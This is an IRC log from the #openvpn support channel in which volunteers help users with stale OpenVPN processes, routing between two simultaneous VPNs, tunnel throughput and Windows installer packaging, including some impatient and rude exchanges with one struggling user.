09:44 < MacGyver> [16:26:00] <    MacGyver> | Mr_Worldwide: It looks like the OpenVPN-process is failing to clean up its routes and tun-device
09:44 < MacGyver>                             (destruction of that *should* clear the routes automatically).
09:44 < MacGyver> [16:26:17] <    MacGyver> | Mr_Worldwide: Can you paste the output of `ps aux | grep openvpn'?
09:44 < MacGyver> [16:26:26] <    MacGyver> | It might still be running.
09:44 < Mr_Worldwide> how can i clean up this?
09:45 < Mr_Worldwide> yes but i lose the connecting because the owner of the vpn public server shut down his server
09:45 < MacGyver> I give up.
09:46 < MacGyver> Could you please find a friend who knows English well enough to be able to communicate clearly?
09:47 < Mr_Worldwide> im here alone now
09:47 < MacGyver> Because I cannot deal with both your inability to search for answers yourself as well as your inability to understand my instructions.
09:48 < Mr_Worldwide> when i shutdown the terminal the vpn normally must also shutdown? than i can shutdown the terminal open another one and post the output of ps aux etc
09:49 < Mr_Worldwide> ?
09:51 < Mr_Worldwide> or must i write stop openvpn in the temrinal or other commands?
09:51 < MacGyver> What's your native language?
09:51 < Mr_Worldwide> german
09:52 < MacGyver> Then can you please restate your question in German?
09:52 < MacGyver> I bet I'm a better German-English translator then you are.
09:52 < MacGyver> than*
09:53 < Mr_Worldwide> also wenn ich das terminal schließe dann schließt der allgemeine openvpn prozess doch auch oder nicht?
09:56 < Mr_Worldwide> ok i paste the output of ps aux | grep openvpn ok after i closed the terminal?
09:56 < MacGyver> Das hängt von der konfiguration. Ist das wort "daemon" irgendwo im .opvn?
09:57 < MacGyver> .ovpn*
10:01 -!- Mr_Worldwide [~Mr_Worldw@93.183.166.28] has quit [Ping timeout: 240 seconds]
10:02 < MacGyver> I'm being too patient, aren't I?
10:08 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
10:10 < trow> Is there a config option to add static route for --remote before connecting the VPN (as apposed to afterward like --redirect-gateway)?
10:13 -!- raidz_away is now known as raidz
10:14 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
10:16 < MacGyver> Why?
10:16 < MacGyver> !goal
10:16 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:17 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
10:17 -!- Mr_Worldwide [~Mr_Worldw@93.183.166.28] has joined #openvpn
10:18 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 260 seconds]
10:19 < Mr_Worldwide> macGyver?
10:20 -!- Orbi [~opera@46.246.33.71] has joined #openvpn
10:20 < MacGyver> ?
10:20 < Mr_Worldwide> what now?
10:20 < MacGyver> You haven't pasted the output of ps aux | grep openvpn yet, nor answered my question about "daemon" in the config file.
10:21 < Mr_Worldwide> https://www.privatepaste.com/9913b951ba
10:21 < Mr_Worldwide> no daemon in config file text
10:22 < MacGyver> Okay, so it looks like openvpn is *not* terminating when you close the terminal.
10:22 < Mr_Worldwide> ok
10:22 < MacGyver> So you'll have to terminate it another way.
10:23 < Mr_Worldwide> on which?
10:24 < Mr_Worldwide> pls
10:24 -!- riot [~riot@eris.hackerfleet.org] has quit [Ping timeout: 240 seconds]
10:25 < MacGyver> Well, for now, `killall openvpn' should do the trick, I think.
10:25 < MacGyver> And normally, enter ctrl+C in the terminal instead of closing it.
10:25 < MacGyver> (That is, assuming that openvpn doesn't daemonize. Which it shouldn't if the config file doesn't contain "daemon")
10:26 -!- riot [~riot@eris.hackerfleet.org] has joined #openvpn
10:26 < Mr_Worldwide> killall openvpn with sudo?
10:27 < MacGyver> Yes.
10:27 < MacGyver> Otherwise you won't have the rights to kill the processes.
10:31 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:33 -!- Mr_Worldwide [~Mr_Worldw@93.183.166.28] has quit [Ping timeout: 248 seconds]
10:36 -!- Mr_Worldwide [~Mr_Worldw@a94-132-81-143.cpe.netcabo.pt] has joined #openvpn
10:36 < Mr_Worldwide> many thx macgyver
10:37 < Mr_Worldwide> but now i have post many routes of my connection should i changed that and reinstall ubuntu?
10:37 < MacGyver> No.
10:37 < MacGyver> Your routes are worthless.
10:37 < Mr_Worldwide> really?
10:38 < MacGyver> Posting them on privatepaste doesn't increase your risk of getting attacked anymore than e.g. connecting to IRC does.
10:38 < MacGyver> Sure, somebody might see the IP-address of your gateway. So what?
10:38 < MacGyver> It's just an address.
10:38 < MacGyver> If that poses a problem you have bigger issues.
10:39 -!- lmm [uid6417@gateway/web/irccloud.com/x-xyoxvgetpmtbpmeo] has quit [Disconnected by services]
10:39 < Mr_Worldwide> i think its better i change my internal ip adress and reinstall ubuntu
10:39 <@ecrist> :)
10:40 < Mr_Worldwide> do you agree ecrist?
10:44 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
10:44 < pekster> Mr_Worldwide: What good would changing your "internal ip" do? If you mean the address behind your router, that's not even visible on the Internet. If you mean your public IP, changing your IP won't protect you from a whole lot. Security is handled by a secure border (your router to the web) and by using secure practices on your internal systems
10:46 < MacGyver> Your suggestion is the equivalent of saying "Thieves exist. I've given my home address to the guy installing my door. Let's move!"
10:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:47 < Mr_Worldwide> i have a router that cannot configure over the internet or remote access over the internet thats good?
10:51 < Mr_Worldwide> anyway i think i must reconfigure my gateways and reinstall ubuntu anyone has laught when i post my internal gateways ansd say mcgyver are now or so
10:52 < MacGyver> No. NO NO NO NO NO NO NO. STOP BEING SO INCREDIBLY STUPID.
10:52 < MacGyver> Please.
10:52 < Mr_Worldwide> its seems to be the price of the help or so?
10:53 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
10:54 < MacGyver> Your internal addresses are of NO VALUE WHATSOEVER. They're INTERNAL. Nobody has any use of them whatsoever, whether your VPN is running or not.
10:54 < MacGyver> But if you are still convinced you need to reinstall ubuntu because you posted your routes, please go ahead and do it.
10:54  * rob0 has a large stock of internal IP addresses for sale
10:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
10:56 < MacGyver> If you won't accept our answers, stop asking for them.
10:57 < MacGyver> I take back my apology from last time.
10:57 < MacGyver> You fully deserved the grilling I gave you, it appears.
10:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:59 < Mr_Worldwide> sorry i was afk but can i trust is the question what say the other?
11:01 < Mr_Worldwide> should i reconfigure my gateways over an live enviroment like linux live usb stick and reinstall my ubuntu?
11:01 < MacGyver> If I say yes, will you stop asking questions?
11:03 <@EugeneKay> !101
11:03 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
11:03 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
11:03 <@EugeneKay> Please go figure out how to use your OS
11:04 < Mr_Worldwide> eok ok bye bye
11:04 -!- Mr_Worldwide [~Mr_Worldw@a94-132-81-143.cpe.netcabo.pt] has quit [Quit: Verlassend]
11:04  * EugeneKay gives MacGyver a cookie
11:04 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
11:05 < MacGyver> I think I need to go hit a pillow and cry in a corner or something.
11:05 < MacGyver> I really just... cannot deal with that type of person.
11:06 < pekster> Then stop sooner. Hanging out here and supporting development of projects I care about is my way to give back to the community for a product I use heavily personally, and have at prior jobs too
11:06 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
11:06 < pekster> You can't "save" everyone from themselves ;)
11:06 < eliasp> hi
11:09 < rob0> pekster, right. "Help vampire," like I said. Don't let him suck your lifeblood.
11:09 < rob0> We don't build the community by enabling those people.
11:10 < eliasp> I need to create our own Windows installer for OpenVPN based on https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Packagingwithoutbuilding but I could only find a build of tap-windows so far, but none for OpenVPN + the GUI itself… can anyone point me towards them?
11:10 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net)
11:10 < MacGyver> I think the problem is that with him, I still have the feeling that it's mostly simply language barrier.
11:10 < MacGyver> And then I find it hard to ignore it.
11:11 < MacGyver> Ah well.
11:11 < pekster> eliasp: I've had good results doing that before by wrapping my own installation in an NSIS package that installs openvpn (if necessary or outdated) and any extra items, like site-specific config and up-scripts
11:11 < rob0> MacGyver, only partly. He's trying to do fancy things with networking and his OS, and he has little/no understanding of either.
11:11 < MacGyver> trow: You never answered my question of why you wanted to add a static route before connection, btw.
11:11 < MacGyver> trow: My advice would be to wrap ovenvpn startup.
11:12 < rob0> I agree, I do feel some sympathy for those who are merely deficient in English.
11:12 < MacGyver> trow: i.e. have a script which adds the route and then calls openvpn.
11:13 < pekster> Most OSes won't let you add a route to a gateway that isn't on-link
11:13 < pekster> You can put the tun device up and give it an address first of course, but you don't usually know your own address in advance when connecting to a multi-client server
11:14 < eliasp> pekster: sure, want to do something similar (integrated into Puppet for a fully automated installer packaging + deployment), but I fail to find the necessary build-files for including them in my own NSIS installer…
11:15 < thalweg> Hey all - I'm attempting to improve OpenVPN throughput. I have site-to-site setup on m1.large instances on AWS between us-east-1 and us-west-2. I'm seeing an order of magnitude difference in speeds with iperf between the P-t-P address compared to the WAN link, even with "cipher none" and "comp-lzo no": http://pastebin.com/raw.php?i=nM8gTruA
11:15 < thalweg> Am I missing something obvious in OpenVPN or tun device configuration are those speeds par for the course?
11:15 < thalweg> "or are those"*
11:16 < eliasp> pekster: e.g. openvpn.nsi, a zip containing already built files for OpenVPN and the GUI… is there something like this? If possible, I don't want to replicate the whole build-toolchain too…
11:16 < eliasp> pekster: or should I extract them from the already existing installer?
11:17 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:17 < pekster> eliasp: Right, beat me to an answer ;). If you want the files the installer will place on the system, just break open the installer with 7-zip or some similar tool
11:18 < eliasp> pekster: ah, k… does it also contain openvpn.nsi? … well, let's see ;)
11:18 < pekster> eliasp: I didn't even do any of that since I liked what the official NSI script does. I just wrote my own custom NSI, and part of its install process was to check for and call openvpn-install.exe if necessary
11:18 < pekster> eliasp: No, that's online in the git repo
11:19 < pekster> https://github.com/OpenVPN/openvpn-build/tree/master/windows-nsis
11:19 <@vpnHelper> Title: openvpn-build/windows-nsis at master · OpenVPN/openvpn-build · GitHub (at github.com)
11:20 < pekster> My motivation for separating duty between the upstream installer and a site-specific one is that my changes won't necessarily merge well with upstream's, and by creating an installer that calls another one, I isolate my own changes
11:20 < pekster> Yours may be different
11:21 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
11:21 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
11:22 < eliasp> ok, found openvpn.nsi on openvpn-build on github… everything else I need should be inside the installer
11:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:23 -!- matt_ [~matt@mlpc.wiltshire.ac.uk] has quit [Ping timeout: 252 seconds]
11:26 < pekster> thalweg: With just --cipher none, you're still doing HMAC digests per-packet as well. Have you verified similar results without the authentication, ie --auth none?
11:26 -!- Alex_ [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
11:27 < pekster> thalweg: Also note that openvpn is single-threaded, so it'll only ever use 1 core on multi-core systems. You need multiple openvpn instances and a way outside openvpn to distriute the load (ie: throughput) between instances if you want to leverage multiple cores
11:28 < pekster> Well, "only ever" do it until the code is re-factored ;)
11:33 < thalweg> pekster: thanks. I just tried reconfiguring with "auth none" also and got similar results (topping out at 21.0 Mbits/sec over a minute test.) I'll look into running multiple network interfaces and bonding the tun devices.
11:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
11:35 < pekster> That shouldn't normally be necessary since the "expensive" part of the operation is the crypto (done via libopenssl)
11:35 < pekster> Those results do look abnormally low for the conditions
11:36 < thalweg> That's what I expected, too, but I seem to be getting the same results no matter what my crypto settings are like.
11:37 < pekster> !gigabit
11:37 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
11:37 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
11:41 < pekster> The interesting bit there compared to your setup is 930 Mbps over a link with crypto disabled
11:41 < pekster> So I suspect something else is going on in your setup
11:42 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:52 -!- matt_ [~matt@mlpc.wiltshire.ac.uk] has joined #openvpn
11:53 -!- matt_ is now known as Guest42427
11:59 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
11:59 -!- Orbi [~opera@46.246.33.71] has left #openvpn []
12:00 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
12:00 -!- Orbi [~opera@46.246.33.71] has joined #openvpn
12:04 < trow> MacGyver, i was afraid you would say that. :)
12:05 < trow> the reason is pretty simple, because i use multiple VPNs at the same time, one of which for the default route, others for communications to other networks without needed to traverse the default route.
12:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:09 < trow> The problem with wrapping openvpn startup is in the case the if goes down, the route is lost. And openvpn will continue to connect without readding the route (since it's not the one doing it) So it ends up being something overly complicated to achieve a simple goal.
12:10 < trow> TBH, isn't adding the route after connection a bit of a flawed concept? The whole idea of the route is to define a path for the link traffic, so should it not be defined prior?
12:10 < pekster> That's not how it works
12:11 < pekster> Links go down all the time: power outages, someone removed the wrong cable, tree falls on a line hung up by power poles, etc
12:11 < trow> this is what i'm planning for, pekster.
12:11 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
12:12 < pekster> trow: You don't seem to understand that you need to be able to *reach* the gateway in order to add a route. Thus you cannot add one until the gateway is first reachable, which means the VPN is connected in the case of openvpn
12:12 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 258 seconds]
12:12 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:12 < trow> I'm not talking about a route in the VPN
12:12 < trow> I'm talking about what --redirect-gateway does (step 1 in the MAN)
12:13 < trow> Except step 1 needs to take place PRIOR to establishment.
12:13 < pekster> Nope
12:13 < trow> Ok, listen.
12:14 < pekster> That's *already* the default behavior
12:14 < trow> This is very simple, and it does NOT need to take place after establishment.
12:14 < pekster> Packets go out via the default gateway unless a more specific route matches
12:14 < trow> This is proven because in order to circumvent this problem, i add the route PRIOR to establishing the conneciton. (manually now, since openvpn doesn't do it)
12:14 < pekster> What "problem" is that?
12:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
12:15 < pekster> You're fixing something that isn't broken
12:15 < trow> Ok, lets go through a chain of events.
12:16 < trow> keep in mind, we're concentrating on step 1 of --redirect-gateway. the rest of it is not relevant to my problem.
12:16 < pekster> That only ever matters as a precursor to step 3
12:16 < pekster> ie: step 1 is soely to prevent loss of connectivity to the VPN when your 0/0 (or the two /1 routes) are added
12:17 < pekster> That's the only purpose of it
12:17 < trow> like i said, lets avoid looking why step 1 is performed.
12:17 < trow> And concentrate on what impact it has.
12:17 < trow> client connects to VPN
12:17 < pekster> Is your route to the VPN server not via your defualt route? Is it via a more specific route you have?
12:18 < trow> Ok, maybe this will make the problem more visible.
12:18 < trow> 2 VPNs.
12:18 < trow> (eg, 1 client, 2 connections to 2 different VPNs)
12:18 < trow> one VPN redirects the gateway.
12:18 < trow> One merely attaches to an different network.
12:18 < trow> If the smaller VPN connects first, all is OK.
12:19 < eliasp_> pekster: deploying non-MSI installers via Puppet is just hackish… not it get's interesting… I'll try now to setup a full toolchain to build an OpenVPN MSI using "msitools" (https://live.gnome.org/msitools) … If I should succeed, this would mean, OpenVPN could be way easier deployed in the future in Win-only environments (e.g. through GPOs)
12:19 <@vpnHelper> Title: msitools - GNOME Live! (at live.gnome.org)
12:19 < pekster> "smaller" ?
12:19 < trow> If the gateway VPN connects first... then we see the problem.
12:19 < eliasp_> s/not/now/g
12:19 < pekster> What on earth do you mean "smaller VPN"?
12:19 < trow> pekster, smaller meaning the one jsut connecting networks. (my bad choice of words)
12:20 < trow> the "larger" being used for gateway traffic.
12:20 < pekster> eliasp_: I've deployed NSIS "exe" based installers via GPO's before. Between silent installation support and a (very!) tiny shell script, it's fairly trivial actually
12:20 < trow> the point is, because openvpn adds the route after connecting, what will happen is...
12:20 < pekster> trow: Okay. So what? Unless your networks overlap, you won't have a problem
12:20 < eliasp_> pekster: I know it's doable, but it still isn't a "declarative" approach but a purely procedural one which is way more error-prone
12:21 < trow> the obviously overlap, one routes the gateway.
12:21 < pekster> Then fix your stupid network numbering scheme
12:22 < pekster> If you have duplicate or overlapping network ranges, that's your problem, not openvpn
12:22 < pekster> Go renumber them
12:22 < trow> therefore, the other one (which just connects to another network), will use the default gateway established by the other VPN.
12:22 < trow> It there a simple way to ensure he doesn't try to connect "thru" the gateway VPN, and instead use the LAN directly.
12:23 < trow> no, they're not overlapping. read what i said.
12:23 < trow> One of the VPNs redirects the gateway.
12:23 < trow> therefore it causes the other VPN to connect thru it.
12:26 < trow> My sole issue is that openvpn waits until AFTER it's connected before establishing the route for step 1.
12:26 < pekster> Ah, okay
12:26 < pekster> Wait, you're redirecting the gateway on *both* VPNs?
12:26 < trow> No, no.
12:26 < trow> I use --redirect-private on one.
12:27 < pekster> Okay, then the order of operations won't matter
12:27 < pekster> ie: if the VPN with the redirect-gateway simply starts first, yes, the 2nd connection will be routed across your first link
12:27 < pekster> You want to prevent that. I get that part now
12:27 < trow> right, ok. Here's the bummer.
12:28 < pekster> Stating that from the beginning would have been a lot more helpful than complaining about redirect-gateway step 1 ordering, fwiw
12:28 < trow> ugh,
12:28 < pekster> State your goal, not the step
12:28 < trow> VPN-A) Has --redirect-gateway
12:28 < trow> VPN-B) has --redirect-private
12:28 < pekster> Anyway, now that we know this, it sounds like you want a way to add a host route before the 2nd VPN connects that does *not* get routed across the altered gateway, right?
12:29 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
12:29 < trow> yes, and i accomplish this by manually adding the route after. But this is a somewhat dirty approach.
12:29 < trow> err, adding the route *before
12:30 < pekster> So, here's a better idea. Is the VPN server for the "other" VPN (the one not redirecting your gateway) known in advance?
12:30 < trow> Eg, what MacGyver said, by wrapping the call to openvpn in a script that adds the route.
12:30 < trow> known how? I can connect to it without the other VPN, yes...
12:30 < pekster> If so, you can easily add in your client config on the setup that *does* the redirection a host-route to the other VPN server via the net_gateway macro
12:31 < pekster> See the --route documentation in thet manpage
12:31 < trow> route can be executed prior to connection?
12:31 < pekster> That way when the VPN that does the redirection connects, it automatically adds a host route via your pre-existing deefault gateway out via your physical link, and that'll take priority over the redirection
12:31 < pekster> It's on the *other* config
12:32 < pekster> The one doing the gateway redirection adds a route to allow your "2nd" VPN to go out via your ISP, not the VPN pathway
12:32 < pekster> That solves your problem
12:32 < trow> Add this --route to VPN-A or VPN-B ?
12:32 < trow> <trow> VPN-A) Has --redirect-gateway
12:32 < trow> <trow> VPN-B) has --redirect-private
12:33 < trow> that will work. It's a tad weird, but it will do...
12:33 < pekster> Stop using redirect-private as you won't need it anymore
12:33 < trow> agreed.
12:33 < pekster> In the config for VPN A, add a host-route to your VPN server for VPN B via net_gateway
12:33 < pekster> That, or set up policy routing in yoru OS
12:34 < pekster> Becuase --redirect-gateway is designed to redirect *all* of your traffic not otherwise assignedn a route (hence, "default gateway.")
12:34 < pekster> You don't want that: you want "some" traffic, so you need to define what that traffic is
12:34 < pekster> In this case, you can use a simple host-route to define what the exception is
12:34 < trow> how do use use the net_gateway macro in the config?
12:35 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
12:35 < trow> ah
12:35 < pekster> trow: Just put it in place of an IP or network and it auto-expands to the relevant IP when processed
12:35 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 258 seconds]
12:35 < trow> ok, yep, just read that.
12:36 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:36 < trow> Just as an FYI, this is just running on a little openwrt router, simple is better. ;)
12:36 < pekster> I've done policy routing, QoS, multiple DHCP subnets, and VPN on OpenWRT before
12:37 < pekster> Simple is relative ;)
12:37 < trow> I know it can be done, but lets keep it simple.
12:37 < pekster> Right. Your needs don't call for that
12:41 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
12:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:44 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:46 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:51 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
12:51 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
12:52 < trow> pekster. it's crazy. it works.
12:53 < pekster> It's just routing
12:54 < trow> haha, well using one VPN's route config to fix the other VPN was something i didn't think of.
12:55 < pekster> Routing is done at an OS level, not per-VPN. OpenVPN can interact with the system routing table, but the kernel is the deciding mechanism to make the routing ndecision
12:56 < pekster> This is why I was trying to get you to state your problem and goal, not get so focused on the way any specific part of the program does or doesn't work
12:56 < trow> well, i understand that. It's merely a matter of one VPN changing the routing table to another VPNs detriment.
12:57 < pekster> Right. Computers don't do what you want, only what they're told
12:58 < rob0> OpenVPN 3.0 will have the --dwim switch.
12:58 < rob0> I know because I saw it announced yesterday.
12:58 <@krzee> dwim?
12:59 < rob0> do what I mean
12:59 <@krzee> hah
12:59 <@EugeneKay> And it will fly!
12:59 <@EugeneKay> And have unicorns!
13:00 < rob0> !--dwim
13:00 < rob0> !dwim
13:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
13:03 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
13:06 < pekster> rob0: Psh, all you need is a plugin to leverage python. "import mindRead from telepathy" is all you need
13:09 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
13:10 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
13:12 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
13:12 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
13:15 -!- APTX [APTX@unaffiliated/aptx] has quit [Read error: Connection reset by peer]
13:17 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.]
13:17 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
13:18 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
13:29 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:31 -!- Alex_ [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 246 seconds]
13:39 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.]
13:40 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
13:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
13:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
13:46 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 245 seconds]
13:47 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
13:47 -!- JessD [~jdyer@24.176.93.67] has joined #openvpn
13:50 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
13:51 < jzaw> pekster, im curious do you have any figures on how many users install openvpn on a small router + openwrt
13:51 < jzaw> seems like quite a few
13:51 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
13:51 -!- Mjolnir [~no@unaffiliated/mjolnir] has joined #openvpn
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
13:53 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
13:53 < Mjolnir> Hey guys.  I've got a routing problem with openvpn.  I've got the server on a linux box, and the client on a windows vista box.  The server is behind my firewall and has no firewall of its own.  The Vista box is trusted so I'm not worried about security there.   My main firewall is forwarding to the openvpn server, and the link comes up normally.  I can ping both ends from both sides.   The
13:53 < Mjolnir> problem is I want to route to my internal network and the "route 192.168.2.0 255.255.255.0" isn't doing it.  I've tried manually adding routes and adding forwarding rules to iptables to no effect.  The "obvious" ip_forward is set to 1.
13:54 < Mjolnir> So how to diagnose this farther?
13:54 < Mjolnir> Note that my vpn network is 192.168.3.12
13:55 < Mjolnir> I can ping 192.168.3.13 from 192.168.2.0/24, but cannot ping 192.168.3.14 which is the Vista box.
13:55 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
13:56 <@ecrist>  you like need to add the following to your server config
13:56 <@ecrist> push "route 192.168.2.0 255.255.255.0"
13:56 < rob0> the problem is that routes have to be bidirectional. Maybe the vpn clients know how to reach your LAN, but the LAN does not know how to get back to them.
13:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:56 <@ecrist> assuming that's the subnet on the server LAN
13:56 < Mjolnir> Ok.  Adding...
13:57 <@ecrist> Mjolnir: you need to both tell openvpn server process to route the subnet for the VPN, but to also push that route to connecting clients
13:57 < rob0> This is a common problem when the VPN server is not the default gateway for the LAN.
13:57 <@ecrist> rob0: if the gateway knows, it can send an ICMP redirect
13:58 < Mjolnir> The connecting client has a route statement in its config.  With the push I should remove this, yes?
13:58 <@ecrist> yes
13:58 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 248 seconds]
13:58 < rob0> ecrist, right, but he didn't say there was such a route there.
13:59 < Mjolnir> Ok.  That changed some behavior.  Here's what I've got.
13:59 < jzaw> can one push arbitrary ip and ifconfig commands from the server?
13:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:00 <@ecrist> jzaw: sure
14:00 < Mjolnir> On the windows machine I really want to hit from the client, I added a route to 192.168.3.12 255.255.255.252 and I can ping x.x.x.13 from it
14:00 < jzaw> so a simple
14:00 < Mjolnir> I can't ping x.x.x.14
14:00 <@krzee> !route_outside_ovpn
14:00 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
14:00 < jzaw> push "ip -6 addr add 2001:8b0:7:feed::2/64 dev tap0"
14:00 < jzaw> would work?
14:01 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
14:05 < pekster> jzaw: You need to push openvpn directives, not console commands
14:05 < pekster> So no. You want to see the --route-ipv6 directive, and probably the entire section labeled "IPv6 Related Options"
14:06 < jzaw> k ta
14:06 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 264 seconds]
14:06 < Mjolnir> Ok, did a  "route add -net 192.168.3.0/24 gw 192.168.2.2" , removed the override from windows, and now get destination protocol unreachable.
14:07 < Mjolnir> That was on my main gateway, btw
14:07 < Mjolnir> My main gateway can ping 192.168.3.13, but not .14
14:07 < Mjolnir> nothing behind the main gateway can get anywhere and gets the unreachable error.
14:08 < vaillor> krzee, i tried duplicate-cn
14:08 < vaillor> but the problem continues...
14:09 <@krzee> dunno what you're talkin bout but im sure i never said duplicate-cn was a good idea
14:09 <@krzee> unless you were only using it while testing
14:10 <@krzee> or had secondary auth and username-as-commonname
14:10 < rob0> Who wants a duplicate.CN? Isn't one China more than enough?
14:10 < vaillor> [11:45:46] <@krzee> !dupe
14:10 < vaillor> [11:45:47] <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
